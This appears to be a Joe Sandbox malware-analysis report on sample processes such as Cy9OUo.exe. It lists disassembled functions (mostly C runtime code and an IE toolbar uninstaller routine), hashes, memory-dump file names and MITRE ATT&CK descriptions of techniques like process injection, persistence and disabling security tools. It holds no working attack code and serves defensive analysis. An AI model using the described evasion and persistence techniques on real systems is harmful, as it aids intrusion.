Opcode Fuzzy Hash: 3992cd856302958faa39ab3caf54851ed09449665e9e5c2d92852413fa9ee823
Instruction Fuzzy Hash: 0711A570940701DEE760AF7DD849BCEBBE0AF14310F208519E499936E1CB7C96928B65

Function 007140A0 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 007140AC

Part of subcall function 00712345: __getptd_noexit.LIBCMT ref: 00712348
Part of subcall function 00712345: __amsg_exit.LIBCMT ref: 00712355

__amsg_exit.LIBCMT ref: 007140CC
__lock.LIBCMT ref: 007140DC
InterlockedDecrement.KERNEL32(?), ref: 007140F9
InterlockedIncrement.KERNEL32(02762B98), ref: 00714124

Memory Dump Source

Source File: 00000029.00000002.3482394324.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true

Associated: 00000029.00000002.3482324357.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482527026.0000000000718000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482826484.000000000071A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3483013696.000000000071C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_710000_G5CQjd.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 0e6624ccf5dff9bdc4faa3411fd74ce1828cbe7e52c2a8192f27d5539eb30b67
Instruction ID: 6c61644db7919abef0249c91b462ff0b488348620ce8eca8f5bd13e060ddc0bc
Opcode Fuzzy Hash: 0e6624ccf5dff9bdc4faa3411fd74ce1828cbe7e52c2a8192f27d5539eb30b67
Instruction Fuzzy Hash: 99016131902615EBCB61AF2D980A7DD7360BF14B60F15C055E900A76D1CB3CA9D2DBD6

Function 007135EE Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0071360C

Part of subcall function 00712AA0: __mtinitlocknum.LIBCMT ref: 00712AB6
Part of subcall function 00712AA0: __amsg_exit.LIBCMT ref: 00712AC2
Part of subcall function 00712AA0: EnterCriticalSection.KERNEL32(?,?,?,00715600,00000004,00719628,0000000C,00713746,?,?,00000000,00000000,00000000,?,007122F7,00000001), ref: 00712ACA

___sbh_find_block.LIBCMT ref: 00713617
___sbh_free_block.LIBCMT ref: 00713626
HeapFree.KERNEL32(00000000,?,00719568,0000000C,00712A81,00000000,007194C8,0000000C,00712ABB,?,?,?,00715600,00000004,00719628,0000000C), ref: 00713656
GetLastError.KERNEL32(?,00715600,00000004,00719628,0000000C,00713746,?,?,00000000,00000000,00000000,?,007122F7,00000001,00000214), ref: 00713667

Memory Dump Source

Source File: 00000029.00000002.3482394324.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true

Associated: 00000029.00000002.3482324357.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482527026.0000000000718000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482826484.000000000071A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3483013696.000000000071C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_710000_G5CQjd.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: f201788023439613b148c2c2085ca750af5791352b19563ff4294978c657062f
Instruction ID: a9c0ccd19e66ade26344c95fcf1202c106190d47fe4ce82961f0c3804088a174
Opcode Fuzzy Hash: f201788023439613b148c2c2085ca750af5791352b19563ff4294978c657062f
Instruction Fuzzy Hash: 91016271D04305FADB206F7D9C0ABDD7A64AF11761F608019F504661D2CB3C8AD1CA99

Function 00713E04 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 00713E10

Part of subcall function 00712345: __getptd_noexit.LIBCMT ref: 00712348
Part of subcall function 00712345: __amsg_exit.LIBCMT ref: 00712355

__getptd.LIBCMT ref: 00713E27
__amsg_exit.LIBCMT ref: 00713E35
__lock.LIBCMT ref: 00713E45

Memory Dump Source

Source File: 00000029.00000002.3482394324.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true

Associated: 00000029.00000002.3482324357.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482527026.0000000000718000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482826484.000000000071A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3483013696.000000000071C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_710000_G5CQjd.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 47388e196234253acc81e9106d1960a848ece670871485aab4be61be0dafa70f
Instruction ID: bd6c06169d36d8ca834de2483ca2268d5181be520a789cdccfc664c47e33c3c3
Opcode Fuzzy Hash: 47388e196234253acc81e9106d1960a848ece670871485aab4be61be0dafa70f
Instruction Fuzzy Hash: E1F09032900301DBE720BB7C980B7CD72A0AF44B20F108149E455976D2CB7C9AD68B52

Analysis Process: Cy9OUo.exePID: 3660, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1047
Total number of Limit Nodes:	29

Executed Functions

Function 001F1000 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 73
libraryloadersynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 001F1006
CreateMutexW.KERNELBASE(00000000,00000000,Global\IEToolbarUninstaller), ref: 001F1013
GetLastError.KERNEL32 ref: 001F101F
GetCommandLineW.KERNEL32(?), ref: 001F1040
CommandLineToArgvW.SHELL32(00000000), ref: 001F1047
PathFileExistsW.KERNELBASE(tbcore3.dll), ref: 001F1061
PathFileExistsW.KERNELBASE(tbcore3U.dll), ref: 001F1073
LoadLibraryW.KERNELBASE(?), ref: 001F1085
GetProcAddress.KERNEL32(00000000,MyUnregisterServer), ref: 001F1097
FreeLibrary.KERNELBASE(00000000), ref: 001F10A4
CloseHandle.KERNELBASE(00000000), ref: 001F10AB
CoUninitialize.COMBASE ref: 001F10B1
LocalFree.KERNEL32(00000000), ref: 001F10BC

Strings

tbcore3U.dll, xrefs: 001F106E, 001F1079
tbcore3.dll, xrefs: 001F105C, 001F1067
MyUnregisterServer, xrefs: 001F1091
Global\IEToolbarUninstaller, xrefs: 001F100C

Memory Dump Source

Source File: 0000002A.00000002.3484326502.00000000001F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 001F0000, based on PE: true

Associated: 0000002A.00000002.3484305410.00000000001F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484346566.00000000001F8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484363295.00000000001FA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484383020.00000000001FC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1f0000_Cy9OUo.jbxd

Similarity

API ID: CommandExistsFileFreeLibraryLinePath$AddressArgvCloseCreateErrorHandleInitializeLastLoadLocalMutexProcUninitialize
String ID: Global\IEToolbarUninstaller$MyUnregisterServer$tbcore3.dll$tbcore3U.dll
API String ID: 474438367-4110843154
Opcode ID: 11ebbd388d42e917a99b8fa97135a739e8df2ad46386142533ae7dcf3fc80078
Instruction ID: c1af612fdd54cf30868530993c9e6b350173734838c5f451c1ceb4a28e7e3387
Opcode Fuzzy Hash: 11ebbd388d42e917a99b8fa97135a739e8df2ad46386142533ae7dcf3fc80078
Instruction Fuzzy Hash: 3A11903260966DFBC720AB60AC08ABF379CFF547617140629FB46D2450DF718986CBB6

Function 001F1465 Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 001F146D

Part of subcall function 001F143A: GetModuleHandleW.KERNEL32(mscoree.dll,?,001F1472,?,?,001F54EE,000000FF,0000001E,?,001F36FC,?,00000001,?,?,001F2A2A,00000018), ref: 001F1444
Part of subcall function 001F143A: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 001F1454

ExitProcess.KERNEL32 ref: 001F1476

Memory Dump Source

Source File: 0000002A.00000002.3484326502.00000000001F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 001F0000, based on PE: true

Associated: 0000002A.00000002.3484305410.00000000001F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484346566.00000000001F8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484363295.00000000001FA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484383020.00000000001FC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1f0000_Cy9OUo.jbxd

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 32513c2b4187aa233a5c93b0d394c3624ae7de9034c04708109f895ad56e2ef4
Instruction ID: 106bd731a796129fb6033bf2f02fd2695993111733ec6f00e098fc367b5448fb
Opcode Fuzzy Hash: 32513c2b4187aa233a5c93b0d394c3624ae7de9034c04708109f895ad56e2ef4
Instruction Fuzzy Hash: 55B0923100010CFBDF022F12DC0A86D3F2AFBC03A0BA08020F90849031DF72AD92EAA4

Function 001F261B Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 001F2630

Memory Dump Source

Source File: 0000002A.00000002.3484326502.00000000001F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 001F0000, based on PE: true

Associated: 0000002A.00000002.3484305410.00000000001F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484346566.00000000001F8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484363295.00000000001FA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484383020.00000000001FC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1f0000_Cy9OUo.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 15abc3d65e1a545e08d402db5bd57aac6cb78f3c21a4422e73e8e36b0a3fd4e2
Instruction ID: e71e422006bc30c0bf67b38f2b5605ec6e4e3025e19a85f9c0405006bea5c294
Opcode Fuzzy Hash: 15abc3d65e1a545e08d402db5bd57aac6cb78f3c21a4422e73e8e36b0a3fd4e2
Instruction Fuzzy Hash: 7DD05E326583485EDB009F71AC48B323BDCD3843A5F148435BA0DC6A90EA70C5D1CA00

Function 001F1681 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 001F168D

Part of subcall function 001F1555: __lock.LIBCMT ref: 001F1563
Part of subcall function 001F1555: __decode_pointer.LIBCMT ref: 001F159A
Part of subcall function 001F1555: __decode_pointer.LIBCMT ref: 001F15AF
Part of subcall function 001F1555: __decode_pointer.LIBCMT ref: 001F15D9
Part of subcall function 001F1555: __decode_pointer.LIBCMT ref: 001F15EF
Part of subcall function 001F1555: __decode_pointer.LIBCMT ref: 001F15FC
Part of subcall function 001F1555: __initterm.LIBCMT ref: 001F162B
Part of subcall function 001F1555: __initterm.LIBCMT ref: 001F163B

Memory Dump Source

Source File: 0000002A.00000002.3484326502.00000000001F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 001F0000, based on PE: true

Associated: 0000002A.00000002.3484305410.00000000001F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484346566.00000000001F8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484363295.00000000001FA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484383020.00000000001FC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1f0000_Cy9OUo.jbxd

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: b034bdb52071a595335410ec25eb8f231108f29f12351b095b1e0b8020bd2aa7
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: 9AB0123258030C73DB202586EC03F163F0D87D1BA4F250020FB0C1D1F1EAA3B96184CA

Non-executed Functions

Function 001F10CC Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32 ref: 001F1346
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 001F135B
UnhandledExceptionFilter.KERNEL32(001F816C), ref: 001F1366
GetCurrentProcess.KERNEL32(C0000409), ref: 001F1382
TerminateProcess.KERNEL32(00000000), ref: 001F1389

Memory Dump Source

Source File: 0000002A.00000002.3484326502.00000000001F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 001F0000, based on PE: true

Associated: 0000002A.00000002.3484305410.00000000001F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484346566.00000000001F8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484363295.00000000001FA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484383020.00000000001FC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1f0000_Cy9OUo.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1fe52934702017840c022c4260b6894f8618b49f4ba613f3d8ebb0de6bc66c45
Instruction ID: f97268ab7e0f519d2096343e6e6cdbd931282efc3597556de0326031f909ea54
Opcode Fuzzy Hash: 1fe52934702017840c022c4260b6894f8618b49f4ba613f3d8ebb0de6bc66c45
Instruction Fuzzy Hash: D2219AF4901248DFC710DFA8ED446783BB0BF58352B90401AFA0C86E60EBBC69C9CB46

Function 001F21E5 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,001F9458,0000000C,001F2320,00000000,00000000,?,001F174F,00000003,?,?,?,?,?,?,001F10F6), ref: 001F21F7
__crt_waiting_on_module_handle.LIBCMT ref: 001F2202

Part of subcall function 001F13E1: Sleep.KERNEL32(000003E8,00000000,?,001F2148,KERNEL32.DLL,?,001F2194,?,001F174F,00000003), ref: 001F13ED
Part of subcall function 001F13E1: GetModuleHandleW.KERNEL32(?,?,001F2148,KERNEL32.DLL,?,001F2194,?,001F174F,00000003,?,?,?,?,?,?,001F10F6), ref: 001F13F6

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 001F222B
GetProcAddress.KERNEL32(?,DecodePointer), ref: 001F223B
__lock.LIBCMT ref: 001F225D
InterlockedIncrement.KERNEL32(001FA4D8), ref: 001F226A
__lock.LIBCMT ref: 001F227E
___addlocaleref.LIBCMT ref: 001F229C

Strings

KERNEL32.DLL, xrefs: 001F21F1, 001F21F6, 001F2201
DecodePointer, xrefs: 001F2233
EncodePointer, xrefs: 001F221F

Memory Dump Source

Source File: 0000002A.00000002.3484326502.00000000001F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 001F0000, based on PE: true

Associated: 0000002A.00000002.3484305410.00000000001F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484346566.00000000001F8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484363295.00000000001FA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484383020.00000000001FC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1f0000_Cy9OUo.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: 7459b5717b75cb09ddad57e0346609035099fd3a1414fb819e4a22b38f6e6fd3
Instruction ID: 0a26ca4c3d3beae49a1f465f3f8c9baef9f39aafcc768562282c1e51edc9d44a
Opcode Fuzzy Hash: 7459b5717b75cb09ddad57e0346609035099fd3a1414fb819e4a22b38f6e6fd3
Instruction Fuzzy Hash: CB11E471940B09DFD720EF75D845B7ABBE0AF20320F10451AE69AA37A0CF74A941CF20

Function 001F40A0 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 001F40AC

Part of subcall function 001F2345: __getptd_noexit.LIBCMT ref: 001F2348
Part of subcall function 001F2345: __amsg_exit.LIBCMT ref: 001F2355

__amsg_exit.LIBCMT ref: 001F40CC
__lock.LIBCMT ref: 001F40DC
InterlockedDecrement.KERNEL32(?), ref: 001F40F9
InterlockedIncrement.KERNEL32(028C2B98), ref: 001F4124

Memory Dump Source

Source File: 0000002A.00000002.3484326502.00000000001F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 001F0000, based on PE: true

Associated: 0000002A.00000002.3484305410.00000000001F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484346566.00000000001F8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484363295.00000000001FA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484383020.00000000001FC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1f0000_Cy9OUo.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 34fc972bcd1ceef56bf00eaef4edd4943fca4f0e73acee6443ef6ab3cd680b61
Instruction ID: 066c7caa931eb47e3e594b8c6537c13e4da7c08008be23978e885381adc9dd1d
Opcode Fuzzy Hash: 34fc972bcd1ceef56bf00eaef4edd4943fca4f0e73acee6443ef6ab3cd680b61
Instruction Fuzzy Hash: 6801AD71901629ABCB21AF2498063BE7360BF20710F458015FB04A7A91CF787991CBD6

Function 001F35EE Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 001F360C

Part of subcall function 001F2AA0: __mtinitlocknum.LIBCMT ref: 001F2AB6
Part of subcall function 001F2AA0: __amsg_exit.LIBCMT ref: 001F2AC2
Part of subcall function 001F2AA0: EnterCriticalSection.KERNEL32(?,?,?,001F5600,00000004,001F9628,0000000C,001F3746,?,?,00000000,00000000,00000000,?,001F22F7,00000001), ref: 001F2ACA

___sbh_find_block.LIBCMT ref: 001F3617
___sbh_free_block.LIBCMT ref: 001F3626
HeapFree.KERNEL32(00000000,?,001F9568,0000000C,001F2A81,00000000,001F94C8,0000000C,001F2ABB,?,?,?,001F5600,00000004,001F9628,0000000C), ref: 001F3656
GetLastError.KERNEL32(?,001F5600,00000004,001F9628,0000000C,001F3746,?,?,00000000,00000000,00000000,?,001F22F7,00000001,00000214), ref: 001F3667

Memory Dump Source

Source File: 0000002A.00000002.3484326502.00000000001F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 001F0000, based on PE: true

Associated: 0000002A.00000002.3484305410.00000000001F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484346566.00000000001F8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484363295.00000000001FA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484383020.00000000001FC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1f0000_Cy9OUo.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 06edcfc4ea599f1d6425614332219627d4eb101dc1f3ad10e543a2bf402f3c3c
Instruction ID: 317f1ddeeee826fe2e10fbda9843d3fc520ef37444e0ee33f411b8a3c52ff6c9
Opcode Fuzzy Hash: 06edcfc4ea599f1d6425614332219627d4eb101dc1f3ad10e543a2bf402f3c3c
Instruction Fuzzy Hash: BC014B7190530DAADF216B719C06B7E7A64AF21770F604109F714E6291DF348B80CAA9

Function 001F3E04 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 001F3E10

Part of subcall function 001F2345: __getptd_noexit.LIBCMT ref: 001F2348
Part of subcall function 001F2345: __amsg_exit.LIBCMT ref: 001F2355

__getptd.LIBCMT ref: 001F3E27
__amsg_exit.LIBCMT ref: 001F3E35
__lock.LIBCMT ref: 001F3E45

Memory Dump Source

Source File: 0000002A.00000002.3484326502.00000000001F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 001F0000, based on PE: true

Associated: 0000002A.00000002.3484305410.00000000001F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484346566.00000000001F8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484363295.00000000001FA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.3484383020.00000000001FC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1f0000_Cy9OUo.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 3ea3ffd3cbe7d8c864ee36f96045c619598109bb0a87f8badfbeb41a4e2d9d8a
Instruction ID: a846ba387971aeaf1b04c6522a7be2438b333fa9424391eaf4e92d1e2f010314
Opcode Fuzzy Hash: 3ea3ffd3cbe7d8c864ee36f96045c619598109bb0a87f8badfbeb41a4e2d9d8a
Instruction Fuzzy Hash: 24F09072A0070D8BD721FB74840677D72A0AF68720F504149E7659B6D2CB749A41CB52

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
